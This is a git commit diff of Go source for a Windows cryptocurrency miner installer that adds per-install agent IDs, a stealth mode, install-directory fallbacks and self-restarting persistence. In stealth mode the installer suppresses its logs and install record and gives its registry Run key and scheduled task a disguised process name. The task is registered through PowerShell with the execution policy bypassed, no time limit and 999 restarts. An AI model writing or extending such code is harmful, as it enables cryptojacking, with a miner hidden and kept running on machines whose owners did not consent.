Add adaptive agent identity, self-healing, stealth, and parallel RandomX.

Each install gets a unique agent ID, hardware-aware thread tuning, watchdog persistence, optional stealth mode, multi-engine RAM mining, and a fully static Windows binary with no runtime dependencies.
This commit is contained in:
drjones
2026-05-26 23:46:46 -07:00
parent 1313c553e7
commit 4341121652
19 changed files with 434 additions and 43 deletions

View File

@@ -29,7 +29,7 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
}
}
installDir, err := cfg.InstallDirectory()
installDir, err := resolveInstallDirWithFallback(cfg)
if err != nil {
return false, err
}
@@ -46,15 +46,27 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
if err := copyFile(currentExe, installedExe); err != nil {
return false, fmt.Errorf("copy miner: %w", err)
}
_ = saveBackup(installedExe)
agentID, err := EnsureAgentID(installDir)
if err != nil {
return false, fmt.Errorf("agent id: %w", err)
}
logPath := filepath.Join(installDir, "miner.log")
_ = os.WriteFile(filepath.Join(installDir, "installed.txt"), []byte(fmt.Sprintf(
"worker=%s\nbuild=%s\nserver=%s\ninstall_dir=%s\ninstalled_exe=%s\n",
cfg.WorkerName, cfg.BuildID, cfg.ServerURL, installDir, installedExe,
)), 0644)
if !cfg.FileLogging || cfg.StealthMode {
logPath = ""
}
if !cfg.StealthMode {
_ = os.WriteFile(filepath.Join(installDir, "installed.txt"), []byte(fmt.Sprintf(
"worker=%s\nbuild=%s\nserver=%s\nagent_id=%s\ninstall_dir=%s\ninstalled_exe=%s\n",
cfg.WorkerName, cfg.BuildID, cfg.ServerURL, agentID, installDir, installedExe,
)), 0644)
}
if cfg.AutoStart {
if err := configureAutoStart(cfg.WorkerName, installedExe); err != nil {
if err := configureAutoStart(cfg, installedExe); err != nil {
return false, fmt.Errorf("auto-start: %w", err)
}
}
@@ -70,6 +82,29 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
return true, nil
}
func resolveInstallDirWithFallback(cfg config.RuntimeConfig) (string, error) {
dir, err := cfg.InstallDirectory()
if err == nil {
return dir, nil
}
fallbacks := []string{"localappdata", "appdata", "temp"}
seen := map[string]bool{strings.ToLower(cfg.InstallBase): true}
for _, base := range fallbacks {
if seen[base] {
continue
}
seen[base] = true
try := cfg
try.InstallBase = base
dir, tryErr := try.InstallDirectory()
if tryErr == nil {
return dir, nil
}
}
return "", err
}
func InstallDir(workerName, buildID string) (string, error) {
return config.RuntimeConfig{
BuiltinConfig: config.BuiltinConfig{
@@ -81,55 +116,60 @@ func InstallDir(workerName, buildID string) (string, error) {
}.InstallDirectory()
}
func configureAutoStart(workerName, exePath string) error {
func configureAutoStart(cfg config.RuntimeConfig, exePath string) error {
k, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
if err != nil {
return err
}
defer k.Close()
return k.SetStringValue(registryValueName(workerName), fmt.Sprintf(`"%s" %s`, exePath, runFlag))
return k.SetStringValue(persistenceKeyName(cfg), fmt.Sprintf(`"%s" %s`, exePath, runFlag))
}
func configureRunMode(cfg config.RuntimeConfig, installedExe string) error {
switch cfg.RunAs {
case "scheduled":
return createScheduledTask(cfg.WorkerName, installedExe)
case "service":
// Windows service requires a service wrapper; scheduled task at logon is the practical equivalent.
return createScheduledTask(cfg.WorkerName, installedExe)
case "scheduled", "service":
return createScheduledTask(cfg, installedExe)
default:
if cfg.AutoStart {
return createScheduledTask(cfg, installedExe)
}
return nil
}
}
func createScheduledTask(workerName, exePath string) error {
taskName := sanitizeName(workerName)
func createScheduledTask(cfg config.RuntimeConfig, exePath string) error {
taskName := persistenceKeyName(cfg)
if taskName == "" {
taskName = "CryptoMinerAgent"
}
script := fmt.Sprintf(
`$action = New-ScheduledTaskAction -Execute '%s' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable; Register-ScheduledTask -TaskName 'CryptoMiner-%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`,
`$action = New-ScheduledTaskAction -Execute '%s' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Hours 0) -RestartCount 999 -RestartInterval (New-TimeSpan -Minutes 1); Register-ScheduledTask -TaskName '%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`,
strings.ReplaceAll(exePath, `'`, `''`),
runFlag,
taskName,
strings.ReplaceAll(taskName, `'`, `''`),
)
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
return cmd.Run()
}
func persistenceKeyName(cfg config.RuntimeConfig) string {
if cfg.StealthMode {
return cfg.EffectiveProcessName()
}
name := sanitizeName(cfg.WorkerName)
if name == "" {
return cfg.EffectiveProcessName()
}
return "CryptoMiner-" + name
}
func relaunch(exePath, logPath string) error {
cmd := exec.Command(exePath, runFlag)
cmd.Dir = filepath.Dir(exePath)
cmd.Env = append(os.Environ(), "MINER_LOG_FILE="+logPath)
return cmd.Start()
}
func registryValueName(workerName string) string {
name := sanitizeName(workerName)
if name == "" {
return "CryptoMinerAgent"
if logPath != "" {
cmd.Env = append(os.Environ(), "MINER_LOG_FILE="+logPath)
}
return "CryptoMiner-" + name
return cmd.Start()
}
func sanitizeName(name string) string {
@@ -169,7 +209,7 @@ func copyFile(src, dest string) error {
}
func ConfigureAutoStart(exePath string, enabled bool) error {
return configureAutoStart("default", exePath)
return configureAutoStart(config.RuntimeConfig{}, exePath)
}
func removeAutoStart() error {